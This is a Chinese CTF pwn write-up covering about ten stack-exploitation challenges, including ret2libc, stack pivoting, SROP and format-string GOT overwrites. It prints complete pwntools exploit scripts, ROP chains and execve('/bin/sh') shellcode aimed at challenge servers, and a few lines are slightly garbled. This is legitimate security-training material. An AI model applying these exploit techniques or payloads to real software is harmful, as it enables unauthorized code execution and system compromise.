PWN练习---Stack_1

简介: PWN练习---Stack_1

pwn123

题源:ctfshow–pwn123

知识点:逻辑漏洞引发的数组越界,导致任意地址写,覆盖返回地址。

主要源码

查看ida存在后面函数,可以劫持ctfshow函数的返回值到backdoor获得shell。

查看case 1代码发现并未对数组赋值的序号 i 进行限制并且 v3[1~i] 可控,查看v3数组与ebp距离可以得到 eip 地址即为 v3[14] 的地址。{(0x38 + 0x4)/ 4 = 15 ,v3[15-1] = v3[14] } 也可以通过调试得到。

调试分析

首先输入序号17进行测试,即修改 v3[17] 处数据。

简单计算得到存放返回地址的为 v3[14] 处,填入shell地址即可。

exp

from pwn import *
context(arch='i386', os='linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28268)
elf = ELF('./pwn123')
backdoor = elf.sym['init0']
io.sendlineafter(b"what's your name?",b"aaa")
io.recvuntil(b"4 > dump all numbers")
io.sendlineafter(b' > ',b"1")
io.sendlineafter(b"Index to edit: ",b"14")
io.sendlineafter(b"How many? ",str(backdoor))  # 0x80485d6---> 134514134
io.sendline(b'0')
io.interactive()

borrowstack

题源:BUUCTF-borrowstack

知识点:栈迁移 + ret滑梯 + ret2libc3 + onegadget

坑点:泄露libc地址的payload返回main函数会导致got表覆盖,从而无法正常返回。

解决方法:ret滑梯。p64(ret)数量可变

源码

思路分析

首先利用溢出的8字节将栈转移到bss段泄露libc地址,然后搜索libc版本找到 onegaget 相对地址,leak_addr过程返回到main函数,覆盖返回地址为onegadget地址获取shell。

exp

from pwn import *
from LibcSearcher import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
io = remote('node5.buuoj.cn',29944)
offset = 0x60
elf = ELF('./borrowstack')
main = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
leave = 0x400699 
bss = 0x601080
pop_rdi = 0x400703
pop_rbp = 0x400590
ret = 0x4004c9
p1 = b'a'*offset + p64(bss) + p64(leave)
io.sendafter(b'want\n',p1)
#-----------------ret滑梯--------------------------------------
p2 = p64(ret)*28 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) 
io.sendafter(b'now!\n',p2)
puts = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))
libc = LibcSearcher("puts",puts)
base = puts - libc.dump('puts')
sym = base + libc.dump('system')
bin = base + libc.dump('str_bin_sh')
#由于使用system构造rop较长,需要二次调用read函数,比较麻烦。这里选择onegadget方法。
one = base +0x4526a 
p3 = b'a'*0x68 + p64(one)
io.recv()
io.send(p3)
io.interactive()

Tips:打通后第一次发出命令没有正常接收返回数据,需要再发一次。如下图:

shellcode

题源:BUUCTF–pwnable_start

考点:堆栈可执行,汇编代码与栈结构剖析

知识点:借用程序已有的汇编代码实现多次读写---->泄露栈地址。

源码

没有主函数,_start函数汇编代码如下:

分析

首先将eax赋值为4,bx,cx,dx分别赋值1,esp,0x14,然后调用int 80中断。转化为:write (1,addr,0x14) **
从esp指向位置开始读取0x14字节数据。也就是上面push的内容,调试得到

然后
令ebx为0,ecx不变,edx为0x3c(也就是60),int 80中断 -------------->read(0, addr, 0x3c)**

即 从esp指向位置最多写入0x3c字节数据,将原输出数据覆盖。

最后使得esp向下移动0x14字节到达返回地址处,然后eip执行retn,返回地址弹出给eip,esp向下移动4字节。

思路

由于堆栈可执行,选择在栈上布置shellcode。而esp到返回地址空间为0x14,已知最短32位shellcode是21字节,因此无法在此处填充,但由于0x3c-0x14=0x28满足要求,可以在返回地址后面填充shellcode,因此首要条件是获取栈地址,然后覆盖返回地址为shellcode地址。

  1. leak_stack,布置shellcode链

已知程序执行一次后esp指向了返回地址下面四字节,相比原来位置+0x18,在上图中发现该地址的数据为0xffffd060,刚好是某个栈地址的二级映射,因此将该数据泄露出来加上偏移即可得到shellcode布置的栈地址。

已知程序第一次运行结束后new esp相对地址,可以将第一次返回地址填充为write函数打印数据部分的汇编地址(即0x8048087),利用它来打印出二级映射的栈地址,然后程序会调用read函数从new esp位置向下写入数据。首先填充0x14字节垃圾数据,然后覆盖返回地址为shellcode栈地址。接着填充shellcode。

  1. payload流程图

exp

from pwn import *
context(os='linux',arch='i386',log_level='debug')
io = remote('node5.buuoj.cn',29641)
read = 0x8048087
p1 = b'a'*20 + p32(read)
io.sendafter(b':',p1)
stack = u32(io.recv(4))
print(hex(stack))
io.recv()
shellcode = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload = b'A'*0x14 + p32(stack+0x14)+shellcode
'''
shell = shell.ljust(20,b'\x00')
shell += p32(stack)
'''
io.send(payload)
io.interactive()

choose

题源:PolarD&N–pwn

考点:fmt泄露canary + leak_libc + ret2libc3

坑点:理清leak_libc功能代码的逻辑,进而泄露函数地址

源码

程序提供三个功能模块,通过选择序号进入。fmt与overflow模块常规,就不再贴源码了。直接看leak_libc的源码。

分析

一开始看不太懂leak_libc的意思。先随便输入数据进行调试,发现会被中断,不能正常返回。一步一步跟进发现puts函数被调用时候参数为0。而puts函数就是把参数指向地址的数据打印出来,因此会到达无效内存,被内核中断运行。

仔细分析反汇编代码,结合puts函数与atoi函数原型:

得到结论:该模块是将输入地址(int类型)处的数据打印出来。

联想到Linux的延迟绑定机制,可以得出结论:由于puts被执行过了,此时puts_got表中存放的就是puts函数的真实地址,因此可以直接获得libc地址,构造ret2libc的rop链,进行getshell。

exp

from pwn import *
from LibcSearcher import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
io = remote('120.46.59.242',2055)
elf = ELF('./pwn2')
main = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi =0x400a93
ret = 0x4005f1
#-------------------------leak_canary--------------------------------
io.sendlineafter(b"3.Buf overflow\n",b'1')
io.sendline(b'%11$p')
canary = int(io.recvline(keepends=False),16)
print(hex(canary))
#------------------------leak_libc-------------------------------------------
io.sendlineafter(b"3.Buf overflow\n",b'2')
print(puts_got) # 6295576
io.send(b'6295576')
puts = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))
#---------------------------overflow----------------------------------------
libc = ELF('./libc6_2.23-0ubuntu11.3_amd64.so')
libc_base = puts - libc.sym["puts"]
print(hex(libc_base))
sys = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
io.sendlineafter(b"3.Buf overflow\n",b'3')
p3 = b'a'*0x28+p64(canary)+p64(0)+p64(pop_rdi)+p64(binsh_addr)+p64(sys)
io.send(p3)
io.interactive()

starctf2018_babystack

题源:BUUCTF

考点:canary—stack_guard + stack_migrant + one_gadget

源码

思路

首先利用 stack_guard 绕过canary,参见 Canary。然后泄露puts函数地址,接着进行栈迁移打one_gadget。

注意点:第一个payload将rbp设置成bss段地址进行迁移。先泄露puts函数地址,然后调用read函数向bss地址写入one_gadget。rip设置成 leave ;ret。

第二个payload直接输入one_gadget。

exp

from pwn import *
from LibcSearcher import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
elf = ELF('./babystack')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
io = remote('node5.buuoj.cn',28722)
read = elf.sym['read']
my_canary = 0xc30af2c248625400
leave = 0x400955
pop_rdi = 0x400c03
pop_rsi_r15 = 0x400c01
ret = 0x400287
bss = elf.bss()+ 0x200
offset = 0x1848
p = b'a'*0x1008 + p64(my_canary) + p64(bss) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) 
p += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(bss) + p64(0) + p64(read) 
p += p64(leave)
p = p.ljust(offset,b'a') +p64(my_canary) 
io.sendlineafter(b'send?\n',b'6224')
io.send(p)
puts = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))
libc = LibcSearcher("puts",puts)
base = puts-libc.dump('puts')
one = base +  0x4f322
p2 = p64(ret) + p64(one)  # 这里在one_gadget前面加8字节应该是栈帧平衡,p64(0)亦可
io.send(p2)
io.interactive()

picoctf_2018_got_shell

题源:BUUCTF

考点:逻辑漏洞修改got表

查看保护信息:

源码

存在逻辑漏洞,获取用户输入的地址并修改该地址为任意值。存在后门函数。

分析

思路:由于Linux延迟绑定,puts第一次调用后,puts.got保存的地址就是真实地址,以后每次调用puts会向got表查询,可以直接将这个值修改为backdoor地址,这样再次调用puts就执行了backdoor,获得shell。

exp

from pwn import *
p=remote('node5.buuoj.cn',25901)
elf=ELF('./PicoCTF_2018_got-shell ')
puts_got=elf.got['puts']
win_addr=0x0804854B
p.sendlineafter("value?", hex(puts_got))
p.recv()
p.sendline(hex(win_addr))
p.interactive()

ciscn_2019_s_3

题源:BUCTF–PWN

考点:srop-execve调用 或 syscall解法

坑点:泄露出来的栈地址有点不一样(kali比靶机多0x30,Ubuntu多0x10…)

源码

main函数直接进入vuln函数调用。

发现可用gadgets,考虑使用SROP或者syscall方法。

分析

观察下面部分代码可知,首先调用 sys_read 向 rsp (/rbp) -0x10 位置读入最多 0x400 字节数据,然后从相同位置输出栈上数据0x30长度,可以泄露栈地址。最后正常返回,注意 rbp+0x8 位置即为 rip返回地址,也就是说输入数据 buf占据0x10,接着就是 rbp和 rip

payload构造栈:

p1:/bin/sh\x00+aaaaaaaa ----->buf+“rbp”(0x10) #leak出来bin地址

vul ---------------------------> “rip”(rbp)

p2:aaaaaa --------------------> buf+“rbp”(0x10)

srop --------------------------> rbp(“rip”)

syscall + frame -------------> …

exp

from pwn import *
#io = remote('node5.buuoj.cn',26115)
io = process('./3')
elf = ELF('./3')
context(arch="amd64",os="linux", log_level="debug")
vul=0x4004F1  #从 xor rax,rax 开始,仅调用一部分汇编
srop = 0x4004da    # mov 0xF0 rax;ret
syscall=0x400517  # syscall;ret
#第一次输入shell,泄露栈地址,然后调转二次运行输入数据执行SROP
p1 = (b'/bin/sh\x00').ljust(16,b'a') + p64(vul)
io.sendline(p1)
io.recv(0x20)
bin = u64(io.recv(8))-0x118 #kali下为-0x148,Ubuntu为-0x128。。。
print(hex(bin))
frame = SigreturnFrame()
frame.rax = 59     # execve(/bin/sh,0,0)
frame.rdi = bin  # /bin/sh 填写地址为 rbp-0x30
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
# 由于程序第一次运行返回时,结尾汇编为 pop rbp;retn,retn之后此时rsp指向旧的rip
# 因此第二次回调执行sys_read时候写入起始位置为 旧的rip-0x10,即旧rbp地址。
# 而/bin/sh在 旧的rbp上面0x10处,不会被覆盖。
io.sendline(b'a'*0x10+p64(srop)+p64(syscall)+bytes(frame))
#     buf         +  rbp/rip (srop)+ rip+8(syscall) + ...
io.interactive()

rootersctf_2019_srop

题源:BUUCTF-PWN

考点:方法1:srop移栈 + srop

方法2:栈迁移+srop(暂时没成功…)

源码

先输出部分信息,然后利用 push 0 和 pop rax 调用sys_read函数 向栈中填充数据。发现 syscall指令地址:0x401033。

可能用到的gadgets:

分析

由于未知栈地址,需要在bss段构造excve(/bin/sh\x00,0,0)。先进行输入地址栈转移。

方法一:srop+srop

首先利用第一次栈溢出进行srop利用(buf,rip:rt_sigreturn ,syscall,frame):布置寄存器数据,调用read向bss段输入数据,满足再次栈溢出的条件 read(0,bss,0x400) ,注意rbp位置:frame.rbp = bss + 0x20。

然后程序会指向bss段接收输入数据,在bss段 填充 /bin/sh\x00 再次利用 srop布置寄存器构造execve(/bin/sh\x00,0,0)。

方法二:栈迁移+srop

第一次栈溢出劫持返回地址到bss段,然后rip填充 rt地址,使得程序再次执行(同时rsp也转移到bss段)。

然后在第二次运行时进行栈溢出利用srop构造 execve(/bin/sh\x00,0,0)。

exp

from pwn import *
io = process("./srop")
#io = remote('node5.buuoj.cn',27655)
context(arch="amd64", os="linux",log_level="debug")
# write /bin/sh on bss
bss = 0x402000 + 0x400
syscall_leave_ret = 0x401033 #通用
syscall_addr = 0x401046   #仅第二个frame中的rip可用此gadget
pop_rax_syscall_leave_ret = 0x401032
# srop to call read, set *data_addr = /bin/sh\x00
frame = SigreturnFrame()
frame.rax = 0   # read(0,bss,0x400)  stack:    buf   rbp-0x20
frame.rdi = 0             #          rbp
frame.rsi = bss     
frame.rdx = 0x400
frame.rip = syscall_leave_ret
frame.rbp = bss + 0x20
p1 = 0x88 * b"a"+ p64(pop_rax_syscall_leave_ret) + p64(0xf)+ bytes(frame)
io.sendafter(b"Hey, can i get some feedback for the CTF?\n",p1)
frame = SigreturnFrame()
frame.rax = 59      # execve(bss,0,0)
frame.rdi = bss 
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_leave_ret
p2 = b"/bin/sh\x00"+ b"a" * 0x20+ p64(pop_rax_syscall_leave_ret) + p64(0xf)
p2 += bytes(frame)
io.send(p2)
io.interactive()
from pwn import *
#io = remote('node5.buuoj.cn',27029)
io = process('./srop')
elf = ELF('./srop')
context(arch="amd64",os="linux", log_level="debug")
    
bss = 0x402000 + 0x400
rt = 0x401001
syscall_leave_ret = 0x401033 #通用
pop_rax_syscall = 0x401032
io.recv(0x2a)
p1 = b'a'*0x80 + p64(bss) + p64(rt)
io.send(p1)
io.recv(0x2a)
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = bss-0x80
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_leave_ret
frame.rbp = bss
frame.rsp = bss-0x40
p2 = (b'/bin/sh\x00').ljust(0x88,b'\x00') + p64(pop_rax_syscall) + p64(0xf) 
p2 += bytes(frame)
io.send(p2)
io.interactive()

ciscn_2019_s_4

题源:BUUCTF-PWN

考点:32位栈迁移【方法一:迁移到stack / 方法二: 迁移到bss段(不通…)】

坑点:/bin/sh\x00只能放在system后面,放在rbp位置不行。(详见exp代码部分)

迁移到bss时候打不通…,暂未知原因。

源码

存在system函数,输入/bin/sh\x00构造rop即可。

分析

方法一:leak_stack + stack_migrant

第一次输入位置填充垃圾数据0x28用来泄露栈上某个地址,然后减去偏移0x38(这次偏移一致了)得到输入buf位置的栈地址。第二次填入/bin/sh\x00再构造rop链:system + p32(0) + p32(bin)

最后填上fake_rbp和 leave回调执行rop,(注意fake_rbp需要为有效rop链起始地址-0x4)即可获取shell。

方法二:stack_migrant

第一次随便输入垃圾数据跳过该次输入,第二次将rbp转移到bss段地址,然后调用第二次read的汇编代码片段(0x80485D8),向rbp-0x28地址输入数据构造rop链:

/bin/sh\x00 + system + p32(0) + p32(bin), 补充数据使得长度到达0x28。

由于buf地址在rbp-0x28地址,最后填充fake_rbp为 bss-0x28-0x4(即 bss-0x2c),填上leave回调执行rop。【打不通…】

exp

from pwn import *
#io = remote('node5.buuoj.cn',26143)
io = process('./4')
elf = ELF('./4')
context(arch="i386",os="linux", log_level="debug")
leave = 0x80484b8
#0x080484b8 : leave ; ret
p1 = b'a'*0x28
io.sendafter(b'?\n',p1)
io.recvuntil(b'a'*0x28)
buf = u32(io.recv(4).ljust(4,b'\x00'))-0x38
print(hex(buf))
bin = buf+0xc
system = elf.sym['system']
p2 = (p32(system) + p32(0) + p32(bin)+b'/bin/sh\x00').ljust(0x28,b'\x00')
# 注意:这里如果改成 
#  b'/bin/sh\x00'+ p32(system) + p32(0) + p32(bin-0xc) 就打不通了
p2 += p32(buf-4)+p32(leave)
io.send(p2)
io.recv()
io.interactive()
from pwn import *
#io = remote('node5.buuoj.cn',26143)
io = process('./ciscn_2019_s_4')
elf = ELF('./ciscn_2019_s_4')
context(arch="i386",os="linux", log_level="debug")
bss = 0x804a000 + 0x400
leave = 0x80484b8
#0x080484b8 : leave ; ret
#0x080483bd : pop ebx ; ret
pop_ebx = 0x80483bd
read = 0x080485D8
p1 = b'a'*0x28
io.sendafter(b'?\n',p1)
io.recv()
p2 = b'a'*0x28 + p32(bss) + p32(read)
io.send(p2)
io.recv()
buf = bss-0x28
bin = buf+12
system = elf.sym['system']
p3 = (p32(system)+p32(0)+p32(bin)+b'/bin/sh\x00').ljust(0x28,b'a') +p32(bss-0x2c)+ p32(leave)
io.send(p3)
io.recv()
io.interactive()

axb_2019_fmt32

题源:BUUCTF–PWN axb_2019_fmt32

考点:32位fmt_leak_address 获取 libc + got篡改

坑点:注意 fmt_leak 时候利用%s的构造的rop偏移与对齐

源码

分析

Step1:利用格式化字符串漏洞泄露出执行过的函数地址,然后根据 libc 得到system 函数的地址

使用脚本得到的偏移为8,但是由于输入的第一个字节位于上一个0x4地址末端,远程有时会出现报错。

手动测试:

需要先填充一个字节来对齐,然后填充got地址,使得got地址偏移刚好为8。

并且发现偏移offset为 2,3,4,5位置与aaaaaaaa距离为8,与脚本一致。

Step2:利用 fmtstr (或 手动构造输入,这里有些困难…) 来篡改 printf 函数的got地址为system函数地址。

b’a’ +fmtstr_payload(8,{printf_got:sys_addr},write_size = “byte”,numbwritten = 0xa)

fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)

第一个参数表示格式化字符串的偏移

第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT:systemAddress};

第三个参数numbwritten表示已经输出的字符个数

sprintf 表示追加到 “Repeater:”后面,再加上fmtstr前面的b’a’。==> 0x9 + 0x1 = 0xa

第四个参数write_size表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写

Step3输入system函数的参数构造 system(/bin/sh)。

exp

from pwn import *
context(arch='i386', os='linux', log_level='debug') 
p =remote('node5.buuoj.cn',28108)
elf =ELF('./fmt')
got_addr =elf.got['printf']
printf_got = elf.got['printf']
 #  offset = 8
'''
def exec_fmt(payload):
  p.sendline(payload)
  info = p.recv()                  
  return info
auto = FmtStr(exec_fmt)
offset = auto.offset
'''    
 #         1 +   4         +   7         + 4   = 16 =0x10
payload =b'A' +p32(got_addr) +b'bbbbbbb' + b'%8$s'  #建议对齐(0x10)
p.sendafter(b"Please tell me:",payload)
p.recvuntil(b'bbbbbbb')            # 注意接收的地址在b*7之后位置
puts_addr = u32(p.recv(4))
print(hex(puts_addr))
 
libc = ELF('./libc-2.23_32.so')
libc_base = puts_addr - libc.sym['printf']
sys_addr = libc_base + libc.sym['system']
 
payload=b'a'
payload += 
fmtstr_payload(8,{printf_got:sys_addr},write_size = "byte",numbwritten = 0xa)
p.recvuntil(b':')
p.send(payload)
p.send(b';/bin/sh\x00')   # 需要两次发送
p.interactive()

axb_2019_fmt64

题源:BUUCTF–PWN axb_2019_fmt64

考点:64位fmt_leak_address 获取 libc + got篡改

坑点:64位got表开头的\x00截断问题,需要更改 p64(got) 位置 。(相较于上一题,不需要开头填充)

传参 /bin/sh\x00 时候前面需要加上”;“。

源码

与上题几乎一样,略…

分析

**Step1:**偏移为8,并且不需要对齐:

Step2:64位程序,got地址 \x00截断 :

这里使用了p32(got)测试,不过意思是一样的。

发现没有接收到 bbbbbb,并且got也没有成功解析得到函数地址,需要修改p64(got)位置,同时注意%8$s也要随之修改。

注意64位一个地址是 8 字节,不同于 32位的 4字节。因此 %9s 是在 s 是在 %8s是在p 基础上增加8字节。

远程打不通,下面是本地测试结果:

Step3:参数发送问题 :

Fail:

Success:

这里输入有 时间限制,不过还是可以成功的。

exp

from pwn import *
from LibcSearcher import *
context(arch='amd64', os='linux', log_level='debug')
 
p =process('./fmt')
#p =remote('node5.buuoj.cn',27332)
elf =ELF('./fmt')
 
got_addr =elf.got['printf']
printf_got = got_addr
print(hex(got_addr))
payload = b'%9$saaaa' + p64(got_addr)   #对齐
p.sendafter(b"Please tell me:",payload)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
 
libc = ELF('./libc-2.23_64.so')       #远程打不通
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')  #local
libc_base = puts_addr - libc.sym['printf']
sys_addr = libc_base + libc.sym['system']
payload=fmtstr_payload(8,{printf_got:sys_addr},write_size = "byte",numbwritten = 0x9)   #其实system函数和printf函数只有后面几位数字不一样,也可以手动修改...
p.recvuntil(b':')
p.send(payload)
p.send(b';/bin/sh\x00')
p.interactive()


目录
相关文章
|
4月前
|
安全 前端开发 rax
PWN练习---Stack_2
PWN练习---Stack_2
73 0
|
6月前
|
安全 算法 Shell
PWN练习---Heap_1
PWN练习---Heap_1
74 7
|
6月前
|
安全 Shell
ISCC2024--pwn
ISCC2024--pwn
45 0
|
7月前
|
数据安全/隐私保护
BUUCTF---misc--snake
BUUCTF---misc--snake
BUUCTF---misc---梅花香之苦寒来
BUUCTF---misc---梅花香之苦寒来
攻防世界---misc---low
攻防世界---misc---low
|
7月前
|
网络协议
攻防世界---misc---easycap
攻防世界---misc---easycap
|
前端开发 rax Shell
[PWN][高级篇]ROP-ret2libc-32/64位实例 (共四个)(上)
[PWN][高级篇]ROP-ret2libc-32/64位实例 (共四个)
827 0
[PWN][高级篇]ROP-ret2libc-32/64位实例 (共四个)(上)
|
NoSQL 编译器 C语言
[PWN][基础篇]什么是Canary保护
[PWN][基础篇]什么是Canary保护
616 0
[PWN][基础篇]什么是Canary保护
[PWN][高级篇]ROP-ret2libc基础知识
[PWN][高级篇]ROP-ret2libc基础知识
488 0
[PWN][高级篇]ROP-ret2libc基础知识